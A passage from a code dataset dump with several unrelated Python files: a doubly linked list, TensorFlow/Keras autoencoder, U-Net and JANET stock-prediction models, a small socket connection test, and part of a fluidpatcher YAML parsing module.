r1)\n\nplt.show()\n\n","sub_path":"pythontests/test_kde.py","file_name":"test_kde.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"402655943","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 2 19:46:03 2018\n\n@author: hsf\n\"\"\"\n#import texasfunction as tf\n#import texas_predict as tp\n#\n#player_tmp1 = tf.usr(\"robot1\") \n#player_tmp1.handcards([39,40])\n#player_tmp2 = tf.usr(\"robot2\") \n#player_tmp2.handcards([39,46])\n#player_tmp3 = tf.usr(\"robot3\") \n#player_tmp3.handcards([39,42])\n#player_tmp3.drop = 1\n#player_tmp2.drop = 1\n#\n#\n#cards=[14,15,16]\n#print(tp.predict_self(player_tmp1, cards, 3, 2, 10))\n#print(tp.predict_all([player_tmp1,player_tmp2,player_tmp3], cards, 10))\n\n#ss = input(\"input:\")\n#if ss.isdigit():\n# print('%s%s' % (ss,ss))\n \nimport socket\nfrom errno import *\nsocket.setdefaulttimeout(0.01)\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n#try:\n# sock.connect((\"192.168.1.211\", 5005))\n#except socket.timeout as e:\n# print(\"timeout\")\n# pass\n\n\nerr = sock.connect_ex((\"192.168.1.211\", 5005))\nprint(err)\nif err == EWOULDBLOCK:\n print('1')","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"58238121","text":"\"\"\"Each ListNode holds a reference to its previous node\nas well as its next node in the List.\"\"\"\nclass ListNode:\n def __init__(self, value, prev=None, next=None):\n self.value = value\n self.prev = prev\n self.next = next\n\n \"\"\"Wrap the given value in a ListNode and insert it\n after this node. Note that this node could already\n have a next node it is pointing to.\"\"\"\n def insert_after(self, value):\n current_next = self.next\n self.next = ListNode(value, self, current_next)\n if current_next:\n current_next.prev = self.next\n\n \"\"\"Wrap the given value in a ListNode and insert it\n before this node. Note that this node could already\n have a previous node it is point to.\"\"\"\n def insert_before(self, value):\n current_prev = self.prev\n self.prev = ListNode(value, current_prev, self)\n if current_prev:\n current_prev.next = self.prev\n\n \"\"\"Rearranges this ListNode's previous and next pointers\n accordingly, effectively deleting this ListNode.\"\"\"\n def delete(self):\n if self.prev:\n self.prev.next = self.next\n if self.next:\n self.next.prev = self.prev\n\n# ==================================================Doubly Linked List========================================================== #\n\n\"\"\"Our doubly-linked list class. It holds references to\nthe list's head and tail nodes.\"\"\"\nclass DoublyLinkedList:\n def __init__(self, node=None):\n self.head = node\n self.tail = node\n self.length = 1 if node is not None else 0\n\n def __len__(self):\n return self.length\n\n def add_to_head(self, value):\n # if theres a value create new node\n new_head = ListNode(value)\n if self.head is None and self.tail is None:\n self.head = new_head\n self.tail = new_head\n else:\n # add new node before current head node\n self.head.insert_before(value)\n # change head node to new node\n self.head = self.head.prev\n # increment count\n self.length += 1\n\n def remove_from_head(self):\n if self.head == None:\n return None\n\n current_head = self.head\n if self.head.next == None:\n self.head = None\n self.tail = None\n else:\n new_head = self.head.next\n self.head.delete()\n self.head = new_head\n self.length -= 1\n return current_head.value\n\n\n def add_to_tail(self, value):\n # if theres a value create new node\n if self.tail is None:\n new_tail= ListNode(value)\n if self.head is None:\n self.head = new_tail\n self.tail = new_tail\n else:\n # add new node before current head node\n self.tail.insert_after(value)\n # change head node to new node\n self.tail = self.tail.next\n # increment count\n self.length += 1\n\n def remove_from_tail(self):\n if self.tail == None:\n return None\n \n current_tail = self.tail\n if self.tail.prev == None:\n self.head = None\n self.tail = None\n else:\n new_tail = self.tail.prev\n self.tail.delete()\n self.tail = new_tail\n self.length -= 1\n return current_tail.value\n\n def move_to_front(self, node):\n if node is self.tail:\n self.remove_from_tail()\n self.add_to_head(node)\n else:\n self.delete(node)\n self.add_to_head(node)\n\n def move_to_end(self, node):\n if node is self.head:\n self.remove_from_head()\n else:\n self.delete(node)\n self.add_to_tail(node)\n\n # work on this further\n def delete(self, node):\n if self.length == 1:\n self.head = None\n self.tail = None\n self.length = 0\n return node.value\n if node.prev is not None:\n node.prev.next = node.next\n else:\n node.prev.next = None\n if node.next is not None:\n node.next.prev = node.prev\n else:\n node.next.prev = None\n self.length -= 1\n return node.value\n \n # work on this further\n def get_max(self):\n current_max = self.head.value\n current_node = self.head\n while current_node is not None:\n if current_node.value > current_max:\n current_max = current_node.value\n current_node = current_node.next\n return current_max\n\n\n\n# # test add to head initial\n# test_list = DoublyLinkedList()\n# test_list.add_to_head(1)\n# print(\"list length: \", test_list.length)\n# # test add to head after head has one item\n# test_list.add_to_head(2)\n# print(\"list length: \", test_list.length)\n\n# print()\n# # test remove from head\n# print(\"REMOVE HEAD\")\n# print(\"removed head: \", test_list.remove_from_head())\n# print(\"new head: \", test_list.head.value)\n# print(\"list length: \", test_list.length)\n\n# print()\n# # test add to tail\n# print(\"ADD TO TAIL\")\n# test_list.add_to_tail(3)\n# print(\"list length: \", test_list.length)\n# print(\"add 3 to tail: \", test_list.tail.value)\n\n# print()\n# # test remove from head\n# print(\"REMOVE TAIL\")\n# print(\"old tail: \", test_list.tail.value)\n# print(\"removed tail: \", test_list.remove_from_tail())\n# print(\"new tail: \", test_list.tail.value)\n# print(\"list length: \", test_list.length)\n\n# test_list.add_to_tail(2)\n# test_list.add_to_tail(3)\n# test_list.add_to_tail(4)\n# test_list.add_to_tail(5)\n\n# print()\n# print(\"created list of 1 to 5\")\n\n# print(\"test_list\")\n# print(test_list.head.value)\n# print(test_list.head.next.value)\n# print(test_list.head.next.next.value)\n# print(test_list.head.next.next.next.value)\n# print(test_list.head.next.next.next.next.value)\n\n# print()\n# print(\"test_list.delete(3): \", test_list.delete(test_list.head.next.next))\n\n# print()\n# print(test_list.head.value)\n# print(test_list.head.next.value)\n# print(test_list.head.next.next.value)\n# print(test_list.head.next.next.next.value)\n\n# print(\"max: \", test_list.get_max())","sub_path":"doubly_linked_list/doubly_linked_list.py","file_name":"doubly_linked_list.py","file_ext":"py","file_size_in_byte":5596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"653234348","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom keras.models import *\nfrom keras.layers import *\nfrom keras.optimizers import *\nimport scipy\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n\ndef imageReader(image):\n pass\n\ndef weight_variable(shape):\n weights = tf.get_variable(\"weights\", shape=shape, initializer=tf.random_normal_initializer())\n return weights\n\n\ndef biases_varialbe(shape):\n biases = tf.get_variable(\"biases\", shape=shape, initializer=tf.constant_initializer())\n return biases\n\n\ndef conv2d(x, W):\n output = tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\n return output\n\n\ndef max_pool(x):\n output = tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\n return output\n\n\ndef net(image, reuse=False, name='net'):\n with tf.variable_scope(name):\n if reuse:\n tf.get_variable_scope().reuse_variables()\n else:\n assert tf.get_variable_scope().reuse is False\n\n inputs_ = tf.placeholder(tf.float32, (None, 28, 28, 1), name='inputs')\n targets_ = tf.placeholder(tf.float32, (None, 28, 28, 1), name='targets')\n\n ## encode\n conv1 = tf.layers.conv2d(inputs_, 16, (3, 3), padding='same', activation=tf.nn.relu)\n # 当前shape: 28x28x16\n maxpool1 = tf.layers.max_pooling2d(conv1, (2, 2), (2, 2), padding='same')\n # 当前shape: 14x14x16\n conv2 = tf.layers.conv2d(maxpool1, 8, (3, 3), padding='same', activation=tf.nn.relu)\n # 当前shape: 14x14x8\n maxpool2 = tf.layers.max_pooling2d(conv2, (2, 2), (2, 2), padding='same')\n # 当前shape: 7x7x8\n conv3 = tf.layers.conv2d(maxpool2, 8, (3, 3), padding='same', activation=tf.nn.relu)\n # 当前shape: 7x7x8\n encoded = tf.layers.max_pooling2d(conv3, (2, 2), (2, 2), padding='same')\n # 当前shape: 4x4x8\n\n ## decode\n upsample1 = tf.image.resize_nearest_neighbor(encoded, (7, 7))\n # 当前shape: 7x7x8\n conv4 = tf.layers.conv2d(upsample1, 8, (3, 3), padding='same', activation=tf.nn.relu)\n # 当前shape: 7x7x8\n upsample2 = tf.image.resize_nearest_neighbor(conv4, (14, 14))\n # 当前shape: 14x14x8\n conv5 = tf.layers.conv2d(upsample2, 8, (3, 3), padding='same', activation=tf.nn.relu)\n # 当前shape: 14x14x8\n upsample3 = tf.image.resize_nearest_neighbor(conv5, (28, 28))\n # 当前shape: 28x28x8\n conv6 = tf.layers.conv2d(upsample3, 16, (3, 3), padding='same', activation=tf.nn.relu)\n # 当前shape: 28x28x16\n\n logits = tf.layers.conv2d(conv6, 1, (3, 3), padding='same', activation=None)\n # 当前shape: 28x28x1\n\n decoded = tf.nn.sigmoid(logits, name='decoded')\n\n # 计算损失函数\n loss = tf.nn.sigmoid_cross_entropy_with_logits(labels=targets_, logits=logits)\n cost = tf.reduce_mean(loss)\n # 使用adam优化器优化损失函数\n opt = tf.train.AdamOptimizer(0.001).minimize(cost)\n\n sess = tf.Session()\n epochs = 100\n sess.run(tf.global_variables_initializer())\n for i in range(epochs):\n for j in range(30):\n batch = imageReader(image)[j]\n imgs = batch.reshape((-1, 100, 100, 1))\n batch_cost = sess.run([cost, opt], feed_dict={inputs_: imgs, targets_: imgs})\n if i % 10 == 0:\n print('Epoch:' + i + '/100...Training loss:' + batch_cost)\n\n\ndef unet(inputs, input_size=(256, 256, 3)):\n conv1 = Conv2D(64, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(inputs)\n conv1 = Conv2D(64, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(conv1)\n pool1 = MaxPooling2D(pool_size=(2, 2), data_format='channels_last')(conv1)\n conv2 = Conv2D(128, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(pool1)\n conv2 = Conv2D(128, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(conv2)\n pool2 = MaxPooling2D(pool_size=(2, 2), data_format='channels_last')(conv2)\n conv3 = Conv2D(256, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(pool2)\n conv3 = Conv2D(256, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(conv3)\n pool3 = MaxPooling2D(pool_size=(2, 2))(conv3)\n conv4 = Conv2D(512, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(pool3)\n conv4 = Conv2D(512, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(conv4)\n drop4 = Dropout(0.5)(conv4)\n pool4 = MaxPooling2D(pool_size=(2, 2), data_format='channels_last')(drop4)\n\n conv5 = Conv2D(1024, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(pool4)\n conv5 = Conv2D(1024, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(conv5)\n drop5 = Dropout(0.5)(conv5)\n\n up6 = Conv2D(512, 2, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(\n UpSampling2D(size=(2, 2), data_format='channels_last')(drop5))\n # merge6 = concatenate([drop4, up6], axis=3)\n conv6 = Conv2D(512, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(up6)\n conv6 = Conv2D(512, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(conv6)\n\n up7 = Conv2D(256, 2, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(\n UpSampling2D(size=(2, 2), data_format='channels_last')(conv6))\n # merge7 = concatenate([conv3, up7], axis=3)\n conv7 = Conv2D(256, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(up7)\n conv7 = Conv2D(256, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(conv7)\n\n up8 = Conv2D(128, 2, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(\n UpSampling2D(size=(2, 2), data_format='channels_last')(conv7))\n # merge8 = concatenate([conv2, up8], axis=3)\n conv8 = Conv2D(128, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(up8)\n conv8 = Conv2D(128, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(conv8)\n\n up9 = Conv2D(64, 2, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(\n UpSampling2D(size=(2, 2), data_format='channels_last')(conv8))\n # merge9 = concatenate([conv1, up9], axis=3)\n conv9 = Conv2D(64, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(up9)\n conv9 = Conv2D(64, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(conv9)\n conv9 = Conv2D(2, 3, activation='relu', padding='same', kernel_initializer='he_normal', data_format='channels_last')(conv9)\n conv10 = Conv2D(1, 1, activation='sigmoid', data_format='channels_last')(conv9)\n\n model = Model(inputs=inputs, outputs=conv10)\n\n model.compile(optimizer=Adam(lr=1e-4), loss='binary_crossentropy', metrics=['accuracy'])\n\n return model","sub_path":"Python code/DL_Test/MyNet/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":7552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"159682741","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 24 16:17:21 2019\n\n@author: evrardgarcelon\n\"\"\"\n\nfrom keras.layers import (Dense, Dropout, Embedding, PReLU, SpatialDropout1D,\n concatenate, Flatten, MaxPooling1D, RepeatVector,\n LSTM, Bidirectional, BatchNormalization, Reshape)\nfrom keras.models import Model, Input\nimport keras\n\n\nfrom src.models.nn.model import GeneralLSTM\nfrom src.models.nn.janet import JANET\n\n\nclass NotSoSmallLSTM(GeneralLSTM):\n def __init__(self,\n data,\n eqt_embeddings_size=20,\n lstm_out_dim=150,\n dropout_rate=0.5,\n dropout_spatial_rate=0.5,\n dropout_lstm=0.5,\n dropout_lstm_rec=0.5,\n loss='binary_crossentropy',\n optimizer=None):\n super(NotSoSmallLSTM, self).__init__(\n data,\n eqt_embeddings_size=eqt_embeddings_size,\n lstm_out_dim=lstm_out_dim,\n use_lstm=True,\n dropout_rate=dropout_rate,\n dropout_spatial_rate=dropout_spatial_rate,\n dropout_lstm=dropout_lstm,\n dropout_lstm_rec=dropout_lstm_rec,\n loss=loss,\n optimizer=optimizer)\n\n self.model, self.inputnames = self.create_model()\n\n def create_model(self):\n \n ### Context equity day\n eqt_code_input = Input(shape=[1], name='eqt_code_input')\n eqt_emb = Embedding(\n output_dim=self.eqt_embeddings_size,\n input_dim=self.n_eqt,\n input_length=1,\n name='eqt_embeddings')(eqt_code_input)\n eqt_emb = SpatialDropout1D(self.dropout_spatial_rate)(eqt_emb)\n eqt_emb = Reshape((self.eqt_embeddings_size,1))(eqt_emb)\n# eqt_emb = Flatten()(eqt_emb)\n# \n# date_input = Input(shape=[1], name='date_input')\n# date_emb= Embedding(\n# output_dim=self.eqt_embeddings_size,\n# input_dim=1512,\n# input_length=1,\n# name='date_embeddings')(date_input)\n# date_emb = SpatialDropout1D(self.dropout_spatial_rate)(date_emb)\n# date_emb = Reshape((self.eqt_embeddings_size,1))(date_emb)\n\n# date_emb = Flatten()(date_emb)\n \n nb_eqt_traded_input = Input(shape=[1], name='nb_eqt_traded_input')\n nb_eqt_traded_emb = Embedding(\n output_dim=self.eqt_embeddings_size//2,\n input_dim=self.n_eqt,\n input_length=1,\n name='nb_eqt_traded_emb')(nb_eqt_traded_input)\n nb_eqt_traded = Dropout(self.dropout_spatial_rate)(nb_eqt_traded_emb)\n nb_eqt_traded = Flatten()(nb_eqt_traded)\n \n nb_nan_input = Input(shape=[1], name='nb_nan_input')\n nb_nans_data_emb = Embedding( output_dim=self.eqt_embeddings_size//2,\n input_dim=72,\n input_length=1)(nb_nan_input)\n nb_nans_data = Dropout(self.dropout_spatial_rate)(nb_nans_data_emb)\n nb_nans_data = Flatten()(nb_nans_data)\n \n nb_days_eqt_traded_input = Input(shape=[1], name='nb_days_eqt_traded_input')\n nb_days_eqt_traded = Embedding( output_dim=self.eqt_embeddings_size//2,\n input_dim=1512,\n input_length=1)(nb_days_eqt_traded_input)\n nb_days_eqt_traded = Dropout(self.dropout_spatial_rate)(nb_days_eqt_traded)\n nb_days_eqt_traded = Flatten()(nb_days_eqt_traded)\n \n context_eqt_day = concatenate([nb_eqt_traded,nb_nans_data,nb_days_eqt_traded])\n context_eqt_day = Dense(32, activation = 'linear')(context_eqt_day)\n context_eqt_day = PReLU()(context_eqt_day)\n context_eqt_day = Dropout(self.dropout_rate)(context_eqt_day)\n context_eqt_day = BatchNormalization()(context_eqt_day)\n# \n ### Temporal informations\n returns_input = Input(shape=(self.returns_length, 1), name='returns_input')\n \n market_returns_input = Input(shape=(self.returns_length, 1), name='market_returns_input')\n# \n eqt_avg_returns_input = Input(shape=(self.returns_length, 1), name='eqt_avg_returns_input')\n#\n # ewma_input = Input(shape=(self.returns_length, 1), name='ewma_rolling_input')\n# \n# std_input = Input(shape=(self.returns_length, 1), name='var_rolling_input')\n# \n returns_eqt = concatenate([returns_input, eqt_emb], axis = 1)\n \n \n market_returns_features = JANET(\n self.lstm_out_dim//2,\n return_sequences=False,\n dropout=self.dropout_lstm,\n recurrent_dropout=self.dropout_lstm_rec, unroll = False,\n kernel_initializer='random_uniform')(market_returns_input)\n \n eqt_avg_returns_features = JANET(\n self.lstm_out_dim//2,\n return_sequences=False,\n dropout=self.dropout_lstm,\n recurrent_dropout=self.dropout_lstm_rec, unroll = False,\n kernel_initializer='random_uniform')(eqt_avg_returns_input)\n \n returns_features = JANET(\n self.lstm_out_dim,\n return_sequences=False,\n dropout=self.dropout_lstm,\n recurrent_dropout=self.dropout_lstm_rec, unroll = False,\n kernel_initializer='random_uniform')(returns_eqt)\n \n # rolling_features = JANET(\n # self.lstm_out_dim,\n # return_sequences=False,\n # dropout=self.dropout_lstm,\n # recurrent_dropout=self.dropout_lstm_rec, unroll = False,\n # kernel_initializer='random_uniform')(ewma_input) \n # var_returns = JANET(\n # self.lstm_out_dim,\n # return_sequences=False,\n # dropout=self.dropout_lstm,\n # recurrent_dropout=self.dropout_lstm_rec, unroll = False,\n # kernel_initializer='random_uniform')(std_input)\n \n# diff_to_market_features = JANET(\n# self.lstm_out_dim,\n# return_sequences=False,\n# dropout=self.dropout_lstm,\n# recurrent_dropout=self.dropout_lstm_rec, unroll = False,\n# kernel_initializer='random_uniform')(difference_to_market)\n# \n# diff_to_eqt_features = JANET(\n# self.lstm_out_dim,\n# return_sequences=False,\n# dropout=self.dropout_lstm,\n# recurrent_dropout=self.dropout_lstm_rec, unroll = False,\n# kernel_initializer='random_uniform')(diference_to_eqt)\n \n \n market_features = concatenate([returns_features,\n eqt_avg_returns_features,\n market_returns_features])\n\n return_features = Dense(self.lstm_out_dim,activation = 'linear')(returns_features)\n return_features = PReLU()(return_features)\n return_features = Dropout(self.dropout_rate)(return_features)\n return_features = BatchNormalization()(return_features)\n \n market_features = Dense(self.lstm_out_dim,activation = 'linear')(market_features)\n market_features = PReLU()(market_features)\n market_features = Dropout(self.dropout_rate)(market_features)\n market_features = BatchNormalization()(market_features)\n \n \n # return_market_features = concatenate([market_features, return_features])\n # return_market_features = Dense(64,activation = 'linear')(return_market_features)\n # return_market_features = PReLU()(return_market_features)\n # return_market_features = Dropout(self.dropout_rate)(return_market_features)\n # return_market_features = BatchNormalization()(return_market_features)\n \n \n ###Handmade Features input\n handmade_features_input = Input(shape = (len(self.non_return_cols)-2,), \n name = 'handmade_features')\n handmade_features = Dense(64, activation = 'linear')(handmade_features_input)\n handmade_features = PReLU()(handmade_features)\n handmade_features = Dropout(self.dropout_rate)(handmade_features)\n handmade_features = BatchNormalization()(handmade_features)\n \n ### Final Concatenation\n x = concatenate([context_eqt_day,return_features,market_features,handmade_features_input])\n \n x = Dense(64,activation = 'linear')(x)\n \n x = PReLU()(x)\n \n x = Dropout(self.dropout_rate)(x)\n \n x = BatchNormalization()(x)\n \n# x = Dense(128,activation = 'linear')(x)\n# \n# x = PReLU()(x)\n#\n# x = Dropout(self.dropout_rate)(x)\n# \n# x = BatchNormalization()(x)\n \n output = Dense(2,activation = 'softmax',name = 'output')(x)\n\n \n model = Model(\n inputs=[eqt_code_input,\n nb_eqt_traded_input,\n nb_nan_input,\n nb_days_eqt_traded_input,\n returns_input,\n market_returns_input,\n eqt_avg_returns_input,\n handmade_features_input],\n outputs=[output])\n\n inputs = [\"eqt_code_input\",\n \"nb_eqt_traded\",\n \"nb_nans_data\",\n \"nb_days_eqt_traded\",\n \"returns_input\",\n \"market_returns_input\",\n \"eqt_avg_returns\",\n \"handmade_features_input\"\n ]\n return model, inputs\n \n\n\nif __name__ == '__main__':\n from src.tools.experiment import Experiment\n from src.tools.dataloader import Data\n from src.tools.utils import plot_training\n\n KFOLDS = 0\n EPOCHS = 200\n \n exp = Experiment(modelname=\"not_small_janet\")\n data = Data(\n small=False, verbose=True, ewma=False, aggregate=False)\n\n exp.addconfig(\"data\", data.config)\n\n model = NotSoSmallLSTM(data)\n exp.addconfig(\"model\", model.config)\n from keras.utils import plot_model\n plot_model(model.model, to_file=exp.pnggraph, show_shapes=True)\n\n model.model.summary()\n # Fit the model\n histories = model.compile_fit(\n checkpointname=exp.modelname,\n epochs=EPOCHS,\n plateau_patience=5,\n stop_patience=15,\n verbose=1,\n batch_size=8192,\n best = True,\n )\n\n exp.addconfig(\"learning\", model.learning_config)\n exp.saveconfig(verbose=True)\n\n for el, history in enumerate(histories):\n plot_training(\n history,\n show=False,\n losspath=exp._pngloss(el + 1),\n accpath=exp._pngacc(el + 1))\n\n model.create_submission(\n exp.modelname,\n bincsv=exp.allpath(\"predictions_bin.csv\"),\n probacsv=exp.allpath(\"predictions_proba.csv\"))\n \n","sub_path":"src/models/nn/NotSoSmallLSTM.py","file_name":"NotSoSmallLSTM.py","file_ext":"py","file_size_in_byte":10755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"290756373","text":"\"\"\"\nDescription: yaml extensions for fluidpatcher\n\"\"\"\nimport re, oyaml\n\nnn = '[A-G]?[b#]?\\d*[.]?\\d+' # parameter number or scientific note name \nsfp = re.compile('^(.+\\.sf2):(\\d+):(\\d+)$', flags=re.I)\nmsg = re.compile(f'^(note|cc|prog|pbend|cpress|kpress|noteoff):(\\d+):({nn}):?(\\d+)?$')\nsyx = re.compile('^sysex:(.*?):(.+)$')\nrte = re.compile(f'^({nn})-({nn})\\*(-?[\\d\\.]+)([+-]{nn})$')\nfts = re.compile(f'^({nn})?-?({nn})?=?(-?{nn})?-?(-?{nn})?$')\nft1 = re.compile(f'^({nn})-({nn})=?(-?{nn})?-?(-?{nn})?$')\nft2 = re.compile(f'^({nn})=(-?{nn})?-?(-?{nn})?$')\nft3 = re.compile(f'^=(-?{nn})-?(-?{nn})?$')\n\ndef sift(s):\n try:\n s = float(s)\n except (ValueError, TypeError):\n return s\n else:\n if s.is_integer():\n s = int(s)\n return s\n\ndef scinote_to_val(n):\n if not isinstance(n, str):\n return n\n sci = re.findall('([+-]?)([A-G])([b#]?)(-?[0-9])', n)[0]\n sign = -1 if sci[0] == '-' else 1\n note = 'C D EF G A B'.find(sci[1])\n acc = ['b', '', '#'].index(sci[2]) - 1\n octave = int(sci[3])\n return sign * ((octave + 1) * 12 + note + acc)\n\ndef totups(x):\n if isinstance(x, RouterSpec):\n return [(x.min, x.max, x.mul, x.add)]\n elif isinstance(x, list):\n return [(val, val, 1.0, 0) for val in x]\n elif isinstance(x, int):\n return [(x, x, 1.0, 0)]\n elif isinstance(x, str):\n return [(scinote_to_val(x), scinote_to_val(x), 1.0, 0)]\n else: return [None]\n\ndef tochantups(x):\n if isinstance(x, FromToSpec):\n return [(x.min - 1, x.max - 1, 0.0, chto)\n for chto in range(x.tomin - 1, x.tomax)]\n elif isinstance(x, RouterSpec):\n return [(x.min - 1, x.max - 1, x.mul, x.mul + x.add - 1)]\n elif isinstance(x, list):\n return [(ch - 1, ch - 1, 1.0, 0) for ch in x]\n elif isinstance(x, int):\n return [(x- 1, x - 1, 1.0, 0)]\n else: return [None]\n\ndef tochanset(x):\n if isinstance(x, RouterSpec):\n return set(range(x.min - 1, x.max))\n elif isinstance(x, list):\n return set([ch - 1 for ch in x])\n elif isinstance(x, int):\n return {x - 1}\n else: return set()\n\ndef iterdata(x):\n if isinstance(x, (list, dict)):\n for item in x if isinstance(x, list) else x.values():\n if item is None: return None\n elif isinstance(item, (list, dict)):\n if iterdata(item) is None: return None\n return x\n\ndef parse(text):\n return iterdata(oyaml.safe_load(text))\n\ndef render(data):\n return oyaml.safe_dump(data)\n\n\nclass SFPreset(oyaml.YAMLObject):\n\n yaml_tag = '!sfpreset'\n yaml_loader = oyaml.SafeLoader\n yaml_dumper = oyaml.SafeDumper\n\n def __init__(self, sf, bank, prog):\n self.sf = sf\n self.bank = bank\n self.prog = prog\n \n def __repr__(self):\n return f\"{self.__class__.__name__}({self.sf}, {self.bank}, {self.prog})\"\n\n def __str__(self):\n return f\"{self.sf}:{self.bank:03d}:{self.prog:03d}\"\n\n @classmethod\n def from_yaml(cls, loader, node):\n sf, bank, prog = sfp.search(loader.construct_scalar(node)).groups()\n bank = int(bank)\n prog = int(prog)\n return cls(sf, bank, prog)\n\n @staticmethod\n def to_yaml(dumper, data):\n return dumper.represent_scalar('!sfpreset', str(data))\n\n\nclass MidiMsg(oyaml.YAMLObject):\n\n yaml_tag = '!midimsg'\n yaml_loader = oyaml.SafeLoader\n yaml_dumper = oyaml.SafeDumper\n\n def __init__(self, type, chan, par1, par2=None, yaml=''):\n self.type = type\n self.chan = chan - 1\n self.par1 = scinote_to_val(par1)\n self.par2 = par2\n self.argstr = ', '.join(map(str, [type, chan, par1, par2]))\n self.yaml = yaml\n\n def __repr__(self):\n return f\"{self.__class__.__name__}({self.argstr})\"\n\n def __str__(self):\n return self.yaml\n\n def __iter__(self):\n return iter([self.type, self.chan, self.par1, self.par2])\n\n @classmethod\n def from_yaml(cls, loader, node):\n m = msg.search(loader.construct_scalar(node))\n type, chan, par1, par2 = map(sift, m.groups())\n return cls(type, chan, par1, par2, m[0])\n\n @staticmethod\n def to_yaml(dumper, data):\n return dumper.represent_scalar('!midimsg', str(data))\n\n\nclass SysexMsg(MidiMsg):\n\n yaml_tag = '!syxmsg'\n yaml_loader = oyaml.SafeLoader\n yaml_dumper = oyaml.SafeDumper\n\n def __init__(self, dest, data=[], file='', yaml=''):\n self.dest = dest\n self.data = data\n self.file = file\n self.argstr = ', '.join(map(str, [dest, data, file, yaml]))\n self.yaml = yaml\n\n def __iter__(self):\n return iter(self.data)\n\n @classmethod\n def from_yaml(cls, loader, node):\n s = syx.search(loader.construct_scalar(node))\n if ':' in s[2]:\n try:\n data = list(map(int, s[2].split(':')))\n except ValueError:\n data = list(map(lambda x: int(x, 16), s[2].split(':')))\n finally: return cls(s[1], data=[data], yaml=s[0])\n else: return cls(s[1], file=s[2], yaml=s[0])\n\n @staticmethod\n def to_yaml(dumper, data):\n return dumper.represent_scalar('!syxmsg', str(data))\n\n\nclass RouterSpec(oyaml.YAMLObject):\n\n yaml_tag = '!rspec'\n yaml_loader = oyaml.SafeLoader\n yaml_dumper = oyaml.SafeDumper\n \n def __init__(self, min, max, mul, add, yaml=''):\n self.min = scinote_to_val(min)\n self.max = scinote_to_val(max)\n self.mul = scinote_to_val(mul)\n self.add = scinote_to_val(add)\n self.argstr = ', '.join(map(str, [min, max, mul, add]))\n self.yaml = yaml\n\n def __repr__(self):\n return f\"{self.__class__.__name__}({self.argstr})\"\n\n def __str__(self):\n return self.yaml\n\n @classmethod\n def from_yaml(cls, loader, node):\n spec = rte.search(loader.construct_scalar(node))\n min, max, mul, add = map(sift, spec.groups())\n return cls(min, max, mul, add, spec[0])\n\n @staticmethod\n def to_yaml(dumper, data):\n return dumper.represent_scalar('!rspec', str(data))\n\n\nclass FromToSpec(RouterSpec):\n\n yaml_tag = '!ftspec'\n yaml_loader = oyaml.SafeLoader\n yaml_dumper = oyaml.SafeDumper\n \n def __init__(self, min, max, tomin, tomax, yaml=''):\n if min == None: min, max = 0, 127\n self.min = scinote_to_val(min)\n self.max = scinote_to_val(max) if max != None else self.min\n self.tomin = scinote_to_val(tomin) if tomin != None else self.min\n if tomax != None: self.tomax = scinote_to_val(tomax)\n elif tomin != None: self.tomax = self.tomin\n else: self.tomax = self.max\n if self.min == self.max:\n self.mul = 1\n else:\n self.mul = (self.tomax - self.tomin) / (self.max - self.min)\n self.add = self.tomin - self.min * self.mul\n self.argstr = ', '.join(map(str, [min, max, tomin, tomax]))\n self.yaml = yaml\n\n @classmethod\n def from_yaml(cls, loader, node):\n spec = fts.search(loader.construct_scalar(node))\n min, max, tomin, tomax = map(sift, spec.groups())\n return cls(min, max, tomin, tomax, spec[0])\n \n @staticmethod\n def to_yaml(dumper, data):\n return dumper.represent_scalar('!ftspec', str(data))\n\n\nclass RouterRule(oyaml.YAMLObject):\n\n yaml_tag = '!rrule'\n yaml_loader = oyaml.SafeLoader\n yaml_dumper = oyaml.SafeDumper\n \n def __init__(self, type='', chan=None, par1=None, par2=None, **apars):\n self.type = type\n self.chan = tochantups(chan)\n self.par1 = totups(par1)\n self.par2 = totups(par2)[0]\n self.apars = apars\n rule = dict(type=type)\n for par, val in [('chan', chan), ('par1', par1), ('par2', par2)]:\n if val != None: rule[par] = val\n self.rule = {**rule, 